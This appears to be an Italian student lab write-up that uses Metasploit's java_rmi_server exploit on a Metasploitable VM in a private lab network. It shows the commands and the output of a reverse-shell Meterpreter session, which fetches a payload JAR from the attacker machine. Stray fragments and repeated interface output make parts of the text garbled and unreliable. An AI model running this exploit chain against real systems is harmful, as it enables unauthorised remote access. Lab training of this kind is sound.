

Progetto S7-L5

Sfruttare vulnerabilità pre ottenere sessione Meterpreter su macchina target

Configurazione ip kali

```
(kali) kali-[-]
$ sudo ip addr add 192.168.11.111/24 dev eth0
[sudo] password for kali:

(kali) kali-[-]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
   inet6 ::1/128 scope host noprefixroute
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
   link/ether 08:00:27:1e:36:4a brd ff:ff:ff:ff:ff:ff
   inet 192.168.50.150/24 brd 192.168.50.255 scope global dynamic noprefixroute eth0
       valid_lft 6962sec preferred_lft 6962sec
   inet 192.168.11.111/24 scope global eth0
       valid_lft forever preferred_lft forever
   inet6 fe80::d527:f915:e3fd:ef54/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
```

Configurazione ip metasploit

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
   link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
   inet 127.0.0.1/8 scope host lo
   inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
   link/ether 08:00:27:ce:db:13 brd ff:ff:ff:ff:ff:ff
   inet 192.168.11.112/24 brd 192.168.11.255 scope global eth0
   inet6 fe80::a00:27ff:fece:db13/64 scope link
       valid_lft forever preferred_lft forever
```

Ricerca /set /avvio exploit

```
msf6 > search java_rmi
File System      codici python
Matching Modules
=====
#  Name                               Disclosure Date Rank  Check Description
--  -
0  auxiliary/gather/java_rmi_registry   .               normal No   Java RMI Registry Interfaces Enumeration
1  exploit/multi/misc/java_rmi_server   2011-10-15      excellent Yes  Java RMI Server Insecure Default Configuration Java Code Execution
2  \_ target: Generic (Java Payload)     .               .      .
3  \_ target: Windows x86 (Native Payload) .             .      .
4  \_ target: Linux x86 (Native Payload)  .             .      .
5  \_ target: Mac OS X PPC (Native Payload) .            .      .
6  \_ target: Mac OS X x86 (Native Payload) .            .      .
7  auxiliary/scanner/misc/java_rmi_server 2011-10-15      normal No   Java RMI Server Insecure Endpoint Code Execution Scanner
8  exploit/multi/browser/java_rmi_connection_impl 2010-03-31      excellent No   Java RMIConnectionImpl Deserialization Privilege Escalation
```

```
msf6 exploit(multi/misc/java_rmi_server) > set rhost 192.168.11.112
rhost => 192.168.11.112
msf6 exploit(multi/misc/java_rmi_server) > set lhost 192.168.11.111
lhost => 192.168.11.111
msf6 exploit(multi/misc/java_rmi_server) > run

[*] Started reverse TCP handler on 192.168.11.111:4444
[*] 192.168.11.112:1099 - Using URL: http://192.168.11.111:8080/xOWcn5D3
[*] 192.168.11.112:1099 - Server started.
[*] 192.168.11.112:1099 - Sending RMI Header...
[*] 192.168.11.112:1099 - Sending RMI Call...
[*] 192.168.11.112:1099 - Replied to request for payload JAR
[*] Sending stage (1017704 bytes) to 192.168.11.112
[*] Meterpreter session 1 opened (192.168.11.111:4444 -> 192.168.11.112:50423) at 2024-09-27 09:30:51 +0200

codici vari C
meterpreter > ls
Listing: /
=====
```

Ottenimento configurazione macchina target

```
meterpreter > ipconfig

Interface 1
=====
Name      : lo
Hardware MAC : 00:00:00:00:00:00
MTU       : 16436
Flags     : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
=====
Name      : eth0
Hardware MAC : 08:00:27:ce:db:13
MTU       : 1500
Flags     : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fece:db13
IPv6 Netmask : ffff:ffff:ffff:ffff::
```

Ottenimento tabella di routing macchina target

```
File System codici python
meterpreter > ifconfig route

Interface 1
=====
Name      : lo
Hardware MAC : 00:00:00:00:00:00
MTU       : 16436
Flags     : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::

Interface 2
=====
Name      : eth0
Hardware MAC : 08:00:27:ce:db:13
MTU       : 1500
Flags     : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.11.112
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fece:db13
IPv6 Netmask : ffff:ffff:ffff:ffff::
```